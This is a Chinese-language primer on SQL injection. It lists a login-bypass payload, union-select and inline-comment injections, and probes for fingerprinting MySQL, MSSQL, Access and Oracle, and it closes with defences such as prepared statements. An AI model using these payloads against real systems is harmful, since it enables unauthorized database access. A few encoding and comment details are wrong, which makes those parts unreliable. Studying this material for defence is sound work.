'注入基础'

注入基础

1,注入原理:
当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。

2,万能密码:

1
2
3
4
admin' or 1=1 #  (为true时)
select * from tb_users where username = '{$uname}';
select * from tb_users where username = 'admin' or 1 #';
and password = 'md5(upass)'

3,常用参数:

1
2
3
schemata        table_schema
tables table_name
columns column_name

4,常用系统函数:

1
database()      version()      user()

5,注释:

1
#   %23     -- (此处为--空格)  /\*\*/

6,内联注释:

1
2
/! code/
举例:index.php?id=-15 /*!union*/ /*!select*/ 1,2,3

7,注入分类(根据sqlmap分为6种)

1
2
布尔注入    联合注入    多语句注入(堆叠注入)
报错注入 延时注入 内联注入

8,按数据库类型分

1
2
3
sql:  oracle    mysql     mssql
access sqlite postgresql
nosql:mongodb redis

9,锚点

1
2
3
4
5
#符号,告诉浏览器跳转
#在url编码%23
url编码为ASCII码转换 0x23
& %26 / %2f ' %27
+ %2b " %23 % %25

10,MySQL与MSSQL及ACCESS之间的区别

1
2
3
4
(1)MySQL5.0以下没有information_schema这个默认数据库
(2)ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,因此只能爆表,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
(3)MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

11,判断数据库类型

1
2
3
4
5
6
7
8
9
10
(1)注释符判断
/是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
--是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
;是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

(2)函数判断
and (select count(*)from MSysAccessObjects)>0 access数据库
and (select count(*)from sysobjects)>0 返回正常说明是mssql数据库
and length(user())>10 返回正常说明是Mysql
Oracle可以根据from dual虚拟库判断

12,SQL注入防御

1
2
3
4
(1)对用户输入的内容进行转义
(2)限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
(3)使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数
(4)使用正则表达式匹配sleep、load_file等关键字,如果匹配到,则退出程序